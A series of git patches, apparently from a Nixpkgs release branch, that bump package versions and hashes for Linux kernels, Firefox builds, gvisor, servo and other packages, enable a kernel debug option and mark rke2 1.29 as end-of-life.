From 3b32a4ec5d553cfb836490ade0a04c7b20a3a362 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20van=20Br=C3=BCgge?= <supermanitu@gmail.com>
Date: Mon, 31 Mar 2025 15:14:31 +0100
Subject: [PATCH 0580/4511] tandoor-recipes: 1.5.32 -> 1.5.34

(cherry picked from commit 1c73ac43d63197a65ad82b936415cbb6dedc32c9)
---
 pkgs/by-name/ta/tandoor-recipes/common.nix  | 6 +++---
 pkgs/by-name/ta/tandoor-recipes/package.nix | 4 ++++
 2 files changed, 7 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ta/tandoor-recipes/common.nix b/pkgs/by-name/ta/tandoor-recipes/common.nix
index d840bc808327..887fd5c92410 100644
--- a/pkgs/by-name/ta/tandoor-recipes/common.nix
+++ b/pkgs/by-name/ta/tandoor-recipes/common.nix
@@ -1,15 +1,15 @@
 { lib, fetchFromGitHub }:
 rec {
-  version = "1.5.32";
+  version = "1.5.34";
 
   src = fetchFromGitHub {
     owner = "TandoorRecipes";
     repo = "recipes";
     rev = version;
-    hash = "sha256-CNlst4bpvRSOPABg85k9xltbrZhs5MQLfJr+t7l7hhI=";
+    hash = "sha256-PnC1Z4UtHqfQOenNIQpxcRysD4Hpb/WfjDe0OZP/k+0=";
   };
 
-  yarnHash = "sha256-CFPofExwhvto6FVBXdsEY/uZaVKPkWaSdfqkEV7KY70=";
+  yarnHash = "sha256-IVCT1KUhShCXY5ocmOul7DMzTe6ULm32azFE8HES1vc=";
 
   meta = with lib; {
     homepage = "https://tandoor.dev/";
diff --git a/pkgs/by-name/ta/tandoor-recipes/package.nix b/pkgs/by-name/ta/tandoor-recipes/package.nix
index 19da7136ab1e..fa463635a57b 100644
--- a/pkgs/by-name/ta/tandoor-recipes/package.nix
+++ b/pkgs/by-name/ta/tandoor-recipes/package.nix
@@ -76,6 +76,10 @@ python.pkgs.buildPythonPackage {
     aiohttp
     inflection
     redis
+    requests-oauthlib
+    pyjwt
+    python3-openid
+    python3-saml
   ];
 
   configurePhase = ''

From d6dd289f7853b200bed18f68d58a3522624026f2 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Wed, 4 Jun 2025 19:36:06 +0300
Subject: [PATCH 0581/4511] linux_6_15: 6.15 -> 6.15.1

(cherry picked from commit 3aac00b659b351c05f2f818468c7d8054076c680)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index e15de15e0df9..932c680103ed 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -36,7 +36,7 @@
         "hash": "sha256:0qgkr69745al6nf4wicxq284xnsmxybh29r7hjh2b6bi6bhds31r"
     },
     "6.15": {
-        "version": "6.15",
-        "hash": "sha256:0r4ppfd5kwvj24bjig92hxa18lmjgy9gqvh5qknfffw08wjrd1km"
+        "version": "6.15.1",
+        "hash": "sha256:0r0dkxwhp4qrihfvbk4ppvyciin1iv9qbp76w2ppnbjizs2bpwa4"
     }
 }

From a083563d7e46e116e608b956f3f112906dbadb1e Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Wed, 4 Jun 2025 19:36:09 +0300
Subject: [PATCH 0582/4511] linux_6_14: 6.14.9 -> 6.14.10

(cherry picked from commit cf7e137ae9feeced3b397a60b83a819d8242f3cc)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 932c680103ed..c14a1556301c 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -32,8 +32,8 @@
         "hash": "sha256:0hhj49k3ksjcp0dg5yiahqzryjfdpr9c1a9ph6j9slzmkikbn7v1"
     },
     "6.14": {
-        "version": "6.14.9",
-        "hash": "sha256:0qgkr69745al6nf4wicxq284xnsmxybh29r7hjh2b6bi6bhds31r"
+        "version": "6.14.10",
+        "hash": "sha256:0hzylab1gh791qpi5albv5wcjz0m7hrs4k7f6bw24k77xb7rg2yy"
     },
     "6.15": {
         "version": "6.15.1",

From fd6a1901cd86d5fe27c3ce185043d66473c95493 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Wed, 4 Jun 2025 19:36:11 +0300
Subject: [PATCH 0583/4511] linux_6_12: 6.12.31 -> 6.12.32

(cherry picked from commit e21df292407fcce5215ab402645847ae143cffac)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index c14a1556301c..1231306b9ad1 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -24,8 +24,8 @@
         "hash": "sha256:1v1pq9yzxrlaxx4y4cj5q3wska0jbv2inc7phqfw70fj88kai0hx"
     },
     "6.12": {
-        "version": "6.12.31",
-        "hash": "sha256:19sba8zak31gn89pzfa3kb9rv7y9z8kybvyikigamq7nblz5nk5h"
+        "version": "6.12.32",
+        "hash": "sha256:0w3a6k0cbdanknlha3qjyvvmhh3xks9d6xq1043laf3q2xr21c59"
     },
     "6.13": {
         "version": "6.13.12",

From 6b4c545f8165ac04f4c2d3ae249fcdd88c9d89f2 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Wed, 4 Jun 2025 19:36:14 +0300
Subject: [PATCH 0584/4511] linux_6_6: 6.6.92 -> 6.6.93

(cherry picked from commit 1a8f6c1a58c5ba2f95b6340ffd2b5a797b678cbb)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 1231306b9ad1..14fe4bbd4bf3 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -20,8 +20,8 @@
         "hash": "sha256:0b9p8l6ndm75751f7s03rnxg7yg9c4pj9rb537lhsv6pqx096n1l"
     },
     "6.6": {
-        "version": "6.6.92",
-        "hash": "sha256:1v1pq9yzxrlaxx4y4cj5q3wska0jbv2inc7phqfw70fj88kai0hx"
+        "version": "6.6.93",
+        "hash": "sha256:06bpg5vvh165znzn01mqab2divrsbznxwc73y44z1s9mjqszyy8d"
     },
     "6.12": {
         "version": "6.12.32",

From 2253e6753268342c69e2665281214aad121044df Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Wed, 4 Jun 2025 19:36:18 +0300
Subject: [PATCH 0585/4511] linux_6_1: 6.1.140 -> 6.1.141

(cherry picked from commit 055441950dbc8e52d8c7c79179e8511c90481aba)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 14fe4bbd4bf3..13a72f15e618 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -4,8 +4,8 @@
         "hash": "sha256:0b9149pyg4lzzxqwx6sg8nz9ca1md7aijg9nrcagrq9sypl53hxn"
     },
     "6.1": {
-        "version": "6.1.140",
-        "hash": "sha256:0x7b856hxmli8qnkps9x62q8sca101v4sfwjqgivzxvprb5gjyap"
+        "version": "6.1.141",
+        "hash": "sha256:05n1561cbzaw9vcxp86bqzvhqz5wv7dajpy7cq34bw7myvx4ag5w"
     },
     "5.15": {
         "version": "5.15.184",

From 48889a2e069f3ed30207a4450b6a4b5e5ad771ce Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Wed, 4 Jun 2025 19:36:27 +0300
Subject: [PATCH 0586/4511] linux_5_15: 5.15.184 -> 5.15.185

(cherry picked from commit 34c78b3e6b9e6ecfdc7f15e0736ec2665ea758d3)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 13a72f15e618..227103ee3347 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -8,8 +8,8 @@
         "hash": "sha256:05n1561cbzaw9vcxp86bqzvhqz5wv7dajpy7cq34bw7myvx4ag5w"
     },
     "5.15": {
-        "version": "5.15.184",
-        "hash": "sha256:1nf1v89ikwi9philrw6h03hzb085mwz44lfxx71agp67vk39hglw"
+        "version": "5.15.185",
+        "hash": "sha256:1p0kjc09qqv361phscny1gqj38di9dpab9gxywljkwqhi5wyn0rx"
     },
     "5.10": {
         "version": "5.10.237",

From 0c49bac66899358adde8e0915d634068b6e749dc Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Wed, 4 Jun 2025 19:36:30 +0300
Subject: [PATCH 0587/4511] linux_5_10: 5.10.237 -> 5.10.238

(cherry picked from commit 535c5c25b76ec2e35cfa0420681182e9de855906)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 227103ee3347..3f05632b5453 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -12,8 +12,8 @@
         "hash": "sha256:1p0kjc09qqv361phscny1gqj38di9dpab9gxywljkwqhi5wyn0rx"
     },
     "5.10": {
-        "version": "5.10.237",
-        "hash": "sha256:098gvqfaahabqqz64m5fwri57drwiz3006pr805sxw74w0vjgj0z"
+        "version": "5.10.238",
+        "hash": "sha256:1dkblixa0as9h11m081dqq8vlz4dcjbzdz7phkz07p621na55j07"
     },
     "5.4": {
         "version": "5.4.293",

From baaf8daaaea431a13c70f9f5b27280b83ebbc130 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Wed, 4 Jun 2025 19:36:36 +0300
Subject: [PATCH 0588/4511] linux_5_4: 5.4.293 -> 5.4.294

(cherry picked from commit 9a1847622677ebcc755d521d39bba56c8dea46bd)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 3f05632b5453..2837223e4330 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -16,8 +16,8 @@
         "hash": "sha256:1dkblixa0as9h11m081dqq8vlz4dcjbzdz7phkz07p621na55j07"
     },
     "5.4": {
-        "version": "5.4.293",
-        "hash": "sha256:0b9p8l6ndm75751f7s03rnxg7yg9c4pj9rb537lhsv6pqx096n1l"
+        "version": "5.4.294",
+        "hash": "sha256:16bv0x4c9ssr66vrd6jnv2dw5na1y7hxfn4d67g0zaksh6xd0yf8"
     },
     "6.6": {
         "version": "6.6.93",

From 6987ba095332bb08fd9db51b81c9eea9cae0606e Mon Sep 17 00:00:00 2001
From: Will Fancher <elvishjerricco@gmail.com>
Date: Thu, 22 May 2025 18:09:31 -0400
Subject: [PATCH 0589/4511] linux/common-config: Enable ACPI_DEBUG

(cherry picked from commit fb78afbbd0ea83eed2e02d6f8d5a43719fb438df)
---
 pkgs/os-specific/linux/kernel/common-config.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/os-specific/linux/kernel/common-config.nix b/pkgs/os-specific/linux/kernel/common-config.nix
index 2a396189558d..407bd347ffac 100644
--- a/pkgs/os-specific/linux/kernel/common-config.nix
+++ b/pkgs/os-specific/linux/kernel/common-config.nix
@@ -134,6 +134,12 @@ let
         # APEI Generic Hardware Error Source
         ACPI_APEI_GHES = (option yes);
 
+        # Without this, on some hardware the kernel fails at some
+        # point after the EFI stub has executed but before a console
+        # is set up. Regardless, it's good to have the extra debug
+        # anyway.
+        ACPI_DEBUG = yes;
+
         # Enable lazy RCUs for power savings:
         # https://lore.kernel.org/rcu/20221019225138.GA2499943@paulmck-ThinkPad-P17-Gen-1/
         # RCU_LAZY depends on RCU_NOCB_CPU depends on NO_HZ_FULL

From 27f6e61139d9a2f79a81f077e596b225e076c609 Mon Sep 17 00:00:00 2001
From: uku <hi@uku.moe>
Date: Mon, 2 Jun 2025 11:17:06 +0200
Subject: [PATCH 0590/4511] reposilite: 3.5.23 -> 3.5.24

https://github.com/dzikoysk/reposilite/releases/tag/3.5.24
(cherry picked from commit ab570b26d41452778fa4147d5e9e6246223cbb4b)
---
 pkgs/by-name/re/reposilite/package.nix  |  4 ++--
 pkgs/by-name/re/reposilite/plugins.json | 10 +++++-----
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/re/reposilite/package.nix b/pkgs/by-name/re/reposilite/package.nix
index c19c0f013ebd..7b10a8efdef5 100644
--- a/pkgs/by-name/re/reposilite/package.nix
+++ b/pkgs/by-name/re/reposilite/package.nix
@@ -18,11 +18,11 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "Reposilite";
-  version = "3.5.23";
+  version = "3.5.24";
 
   src = fetchurl {
     url = "https://maven.reposilite.com/releases/com/reposilite/reposilite/${finalAttrs.version}/reposilite-${finalAttrs.version}-all.jar";
-    hash = "sha256-7DNl0u2iYAlqhflJCIppy8huMKtFjjyRJzUPcWHoRnE=";
+    hash = "sha256-HyA59f4Og3bGTe5hEShkAt0jl9rLUBzGAGxUKgJV9Y0=";
   };
 
   dontUnpack = true;
diff --git a/pkgs/by-name/re/reposilite/plugins.json b/pkgs/by-name/re/reposilite/plugins.json
index 0bbd0cde2419..a7ffffedc300 100644
--- a/pkgs/by-name/re/reposilite/plugins.json
+++ b/pkgs/by-name/re/reposilite/plugins.json
@@ -1,7 +1,7 @@
 {
-  "checksum": "sha256-k470nI1rGZJcUVETG3bmjqdvjkzeVM0OVWhONM6nJL8=",
-  "groovy": "sha256-8LjYnoXaEYmedWUPgqfDGVORQnpoDn5um02KWtkTjak=",
-  "migration": "sha256-T/n14xWA+YPZEDaybybtFiqcdE/I7SY/llvhwL+9JZU=",
-  "prometheus": "sha256-BChuSWSwPpwAA5jA9Lf4LsAGNA6uFlVqFNy7h9biZ9Q=",
-  "swagger": "sha256-uL3e85p1xk265xiNzDoxY62GPbp7qCummEMxXzKUn5Q="
+  "checksum": "sha256-XaFqu3ln73XLDSbHO7PUalwOLdtBfQ1pOGttcbM50To=",
+  "groovy": "sha256-sDHaaWdcx8kAnjoalizxVkMALljlrzvBLf0EjtZWsB0=",
+  "migration": "sha256-TAnaun2V8dVZeMWAWsThZcBD+DDgGj+7qMt4LTDkYpE=",
+  "prometheus": "sha256-yVs53YX8vIxjhojVYGK1xstw/8wZNE7C9DG01rdFpSc=",
+  "swagger": "sha256-gSiJeS0NLvVWlKg/CNkwpBD3fNZUWyBwrD53NWuY1Ug="
 }

From aa02c70e0a72b60285fab2b7f0c6e28e5b8e1a66 Mon Sep 17 00:00:00 2001
From: Uriel <imurx@proton.me>
Date: Sun, 1 Jun 2025 20:10:56 -0400
Subject: [PATCH 0591/4511] slimevr: 0.14.1 -> 0.15.0

(cherry picked from commit f233f68df50dea01b86f7f7b101163af375d1751)
---
 pkgs/by-name/sl/slimevr/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sl/slimevr/package.nix b/pkgs/by-name/sl/slimevr/package.nix
index a9e94ebf6d51..21c6ac44c3b7 100644
--- a/pkgs/by-name/sl/slimevr/package.nix
+++ b/pkgs/by-name/sl/slimevr/package.nix
@@ -21,13 +21,13 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "slimevr";
-  version = "0.14.1";
+  version = "0.15.0";
 
   src = fetchFromGitHub {
     owner = "SlimeVR";
     repo = "SlimeVR-Server";
     rev = "v${version}";
-    hash = "sha256-7b2IlMYpOVvthOUNr63PUsZyr2JH37O2DVWH9N6M8Xg=";
+    hash = "sha256-Sc51fGUXc9FCTO7wVy9hkZiOe0RYefVasp+jCeWl844=";
     # solarxr
     fetchSubmodules = true;
   };
@@ -39,7 +39,7 @@ rustPlatform.buildRustPackage rec {
   pnpmDeps = pnpm_9.fetchDeps {
     pname = "${pname}-pnpm-deps";
     inherit version src;
-    hash = "sha256-IoLY3ByDQGfbkWjxlEHHTiKiE3+tpwCrYLUDE8zPkeQ=";
+    hash = "sha256-xCID9JOFEswsTbE5Dh6ZAkhhyy4eMuqkme54IdWfcks=";
   };
 
   nativeBuildInputs = [

From c8cad26dcc2d6092656b26058482520b28905d16 Mon Sep 17 00:00:00 2001
From: FliegendeWurst <arne.keller@posteo.de>
Date: Wed, 4 Jun 2025 09:48:04 +0200
Subject: [PATCH 0592/4511] miniupnpc: fix missing include

(cherry picked from commit dd1140d076d30c80206734474e095d44e379754d)
---
 pkgs/by-name/mi/miniupnpc/package.nix | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/pkgs/by-name/mi/miniupnpc/package.nix b/pkgs/by-name/mi/miniupnpc/package.nix
index d49f0c77a468..8c4644f109e1 100644
--- a/pkgs/by-name/mi/miniupnpc/package.nix
+++ b/pkgs/by-name/mi/miniupnpc/package.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchFromGitHub,
+  fetchpatch,
   cmake,
   versionCheckHook,
   nixosTests,
@@ -20,6 +21,16 @@ stdenv.mkDerivation (finalAttrs: {
 
   sourceRoot = "${finalAttrs.src.name}/miniupnpc";
 
+  patches = [
+    # fix missing include
+    # remove on next release
+    (fetchpatch {
+      url = "https://github.com/miniupnp/miniupnp/commit/e263ab6f56c382e10fed31347ec68095d691a0e8.patch";
+      hash = "sha256-PHqjruFOcsGT3rdFS/GD3wEvalCmoRY4BtIKFxCjKDw=";
+      stripLen = 1;
+    })
+  ];
+
   nativeBuildInputs = [ cmake ];
 
   cmakeFlags = [

From d840443d2e3f41fed7b1c2db02dc72ff2a88f40d Mon Sep 17 00:00:00 2001
From: Ezri Zhu <me@ezrizhu.com>
Date: Sat, 31 May 2025 20:02:19 -0400
Subject: [PATCH 0593/4511] gvisor: 20240401.0 -> 20250512.0

(cherry picked from commit 3d13b2705a1565aebdd8ee9615cf52e171c405f9)
---
 pkgs/by-name/gv/gvisor/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/gv/gvisor/package.nix b/pkgs/by-name/gv/gvisor/package.nix
index 3350afc8048b..33c183c9b52c 100644
--- a/pkgs/by-name/gv/gvisor/package.nix
+++ b/pkgs/by-name/gv/gvisor/package.nix
@@ -12,7 +12,7 @@
 
 buildGoModule {
   pname = "gvisor";
-  version = "20240401.0";
+  version = "20250512.0";
 
   # gvisor provides a synthetic go branch (https://github.com/google/gvisor/tree/go)
   # that can be used to build gvisor without bazel.
@@ -21,8 +21,8 @@ buildGoModule {
   src = fetchFromGitHub {
     owner = "google";
     repo = "gvisor";
-    rev = "9d995324d058812a5476f8c06b20167012511e9c";
-    hash = "sha256-idgUEbYAfnm/HphVs12Sj1FwG+jmL2BBr0PJnG9BC3A=";
+    rev = "2a7b5c7dece9218a44afb8c56e28f2aae8038f6b";
+    hash = "sha256-u2YMFesrtQX+eE0aKYiOr+4/khPtsH2P2EQWfvHs8nI=";
   };
 
   # Replace the placeholder with the actual path to ldconfig
@@ -31,7 +31,7 @@ buildGoModule {
       --replace-fail '"/sbin/ldconfig"' '"${glibc}/bin/ldconfig"'
   '';
 
-  vendorHash = "sha256-jbMXeNXzvjfJcIfHjvf8I3ePjm6KFTXJ94ia4T2hUs4=";
+  vendorHash = "sha256-3fKFr8viabGEwIHYxg9vjhKMVOxCjji3PDgs8wBBZzY=";
 
   nativeBuildInputs = [ makeWrapper ];
 

From e6349fb1da5b2eafb287f3baded8d14301f87d84 Mon Sep 17 00:00:00 2001
From: Robert Rose <robert.rose@mailbox.org>
Date: Wed, 4 Jun 2025 20:35:05 +0200
Subject: [PATCH 0594/4511] [release-25.05] rke2_1_29: mark as vulnerable due
 to EOL

EOL at 2025-02-28
https://www.suse.com/lifecycle#rke2
---
 .../networking/cluster/rke2/default.nix       | 24 ++++++++++++-------
 1 file changed, 15 insertions(+), 9 deletions(-)

diff --git a/pkgs/applications/networking/cluster/rke2/default.nix b/pkgs/applications/networking/cluster/rke2/default.nix
index 264770a242af..33859a1ed1d0 100644
--- a/pkgs/applications/networking/cluster/rke2/default.nix
+++ b/pkgs/applications/networking/cluster/rke2/default.nix
@@ -5,15 +5,21 @@ let
   extraArgs = builtins.removeAttrs args [ "callPackage" ];
 in
 rec {
-  rke2_1_29 = common (
-    (import ./1_29/versions.nix)
-    // {
-      updateScript = [
-        ./update-script.sh
-        "29"
-      ];
-    }
-  ) extraArgs;
+  rke2_1_29 =
+    (common (
+      (import ./1_29/versions.nix)
+      // {
+        updateScript = [
+          ./update-script.sh
+          "29"
+        ];
+      }
+    ) extraArgs).overrideAttrs
+      {
+        meta.knownVulnerabilities = [
+          "rke2_1_29 has reached end-of-life on 2025-02-28. See https://www.suse.com/lifecycle#rke2"
+        ];
+      };
 
   rke2_1_30 = common (
     (import ./1_30/versions.nix)

From 8005fa3e58c06cd95791d19f4b050d230239b4aa Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 4 Jun 2025 19:21:07 +0000
Subject: [PATCH 0595/4511] servo: 0-unstable-2025-05-25 ->
 0-unstable-2025-06-04

(cherry picked from commit 29b198af62a7a982308f066416272f72e0848201)
---
 pkgs/by-name/se/servo/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/se/servo/package.nix b/pkgs/by-name/se/servo/package.nix
index 103d7283f1e8..685a983fae63 100644
--- a/pkgs/by-name/se/servo/package.nix
+++ b/pkgs/by-name/se/servo/package.nix
@@ -61,13 +61,13 @@ in
 
 rustPlatform.buildRustPackage {
   pname = "servo";
-  version = "0-unstable-2025-05-25";
+  version = "0-unstable-2025-06-04";
 
   src = fetchFromGitHub {
     owner = "servo";
     repo = "servo";
-    rev = "3a04f4195eb650f092c44d5a05fee178b9e84fbe";
-    hash = "sha256-7dbt7h4qUPWgsKBt0wo9by6yTB4034SzlzdqMXmw2Xg=";
+    rev = "e78c033b5bc36a9576530869b38eba88080342d1";
+    hash = "sha256-BG0zQRLEM9bghjkB+He5fqpfinowRcn1k1oqhODzaPI=";
     # Breaks reproducibility depending on whether the picked commit
     # has other ref-names or not, which may change over time, i.e. with
     # "ref-names: HEAD -> main" as long this commit is the branch HEAD
@@ -78,7 +78,7 @@ rustPlatform.buildRustPackage {
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-XTtM7yU1kpzK2cspnYdgp7yrt4Xk7xeQ98rmBgu46Tg=";
+  cargoHash = "sha256-7jbaJSmz7isAiOYVXJ3gXorA2lhDEiVpL+l8gkOnQuM=";
 
   # set `HOME` to a temp dir for write access
   # Fix invalid option errors during linking (https://github.com/mozilla/nixpkgs-mozilla/commit/c72ff151a3e25f14182569679ed4cd22ef352328)

From c5cfc608c983aefb180c83357d5e40b28f0c1e8b Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Tue, 3 Jun 2025 17:04:12 +0000
Subject: [PATCH 0596/4511] firefox-devedition-unwrapped: 140.0b3 -> 140.0b4

(cherry picked from commit 6451c665db7c9ab5512a50c40229a124abf0eb19)
---
 .../browsers/firefox/packages/firefox-devedition.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
index b8b4443fe0ef..cd1f7f72219f 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
@@ -10,13 +10,13 @@
 buildMozillaMach rec {
   pname = "firefox-devedition";
   binaryName = pname;
-  version = "140.0b3";
+  version = "140.0b4";
   applicationName = "Firefox Developer Edition";
   requireSigning = false;
   branding = "browser/branding/aurora";
   src = fetchurl {
     url = "mirror://mozilla/devedition/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "f7e2382ba9ad9a6fbea4a99ab541a4b70dcc4dd78d52230f5e600e9812eb796c890d424805b9c4d2ad7c981e3e509d654e9ae4e4c79c6a50880388e1b4c83bbe";
+    sha512 = "bc71e5183b7f527f006b82ba729cb9556a0c756059025392d31ace1e3e49c0a48f5f7c8b64615353c7ae72ab67eb77212f3b573ea06a278f806328093d1424a4";
   };
 
   meta = {

From f037503f34f3bd4c71e4908c24325f617f994cf8 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Tue, 3 Jun 2025 17:04:35 +0000
Subject: [PATCH 0597/4511] firefox-beta-unwrapped: 140.0b3 -> 140.0b4

(cherry picked from commit 2393f60be3160d761e1702ab281ef0fbf7d89160)
---
 .../networking/browsers/firefox/packages/firefox-beta.nix     | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
index 3dd7f5a0cceb..6133d8c87ebf 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
@@ -10,11 +10,11 @@
 buildMozillaMach rec {
   pname = "firefox-beta";
   binaryName = pname;
-  version = "140.0b3";
+  version = "140.0b4";
   applicationName = "Firefox Beta";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "282b30284e9efa3909e1c1e8b01fd3c8ce5083668a01dea53487aa00d89734889e033051de3ce9aa66d7a84f4d4ac1c6e558fa4e3efe1e51077fc0831e989129";
+    sha512 = "ec3d3377db8629742d428cceded3c7c92ba952f1b9cb6a15eae7f053213c3a377287a577c33b291a5e4d3cbbf918be52a31c3f4ac5f6d06c1f5edfc6312656fe";
   };
 
   meta = {

From c5078251b151aba9df4480fafedbc8339b0013ed Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Tue, 3 Jun 2025 17:05:11 +0000
Subject: [PATCH 0598/4511] firefox-devedition-bin-unwrapped: 140.0b3 ->
 140.0b4

(cherry picked from commit 96605eadcd28496a9af76a5a290826293b0afb1f)
---
 .../firefox-bin/developer-edition_sources.nix | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix
index 784facf25911..f67bffe378d7 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "140.0b3";
+  version = "140.0b4";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ach/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ach/firefox-140.0b4.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "bb3f74c91d3b6e87f8446317f52676c307d2ae6fe4b28e0ce0a736460a12b316";
+      sha256 = "ed1554afe2f6f16e43600abc464a5093f9668cbe2c2f9ff2c2a5c7751924dfcc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/af/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/af/firefox-140.0b4.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "3c742108cc29a6d065b8296b4d9a71470703e88a62a611366448390868dbf77d";
+      sha256 = "2c42439d6d8aebb5e9cd5a7a662d181fa421a6baca7288492bf22f1f919001f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/an/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/an/firefox-140.0b4.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "6bf6ded7f7d9dfc3e01c02155f1b6e49ca6a1bcb4742ac99b533f0c050c4813f";
+      sha256 = "413ccf730b5429950731693c968f1839c9c84772c62e2d06c9e93e1724015230";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ar/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ar/firefox-140.0b4.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "29df6cebc687ed6b776b715d315b11c00f551c62641b6d55e080ee2d2ad21eb6";
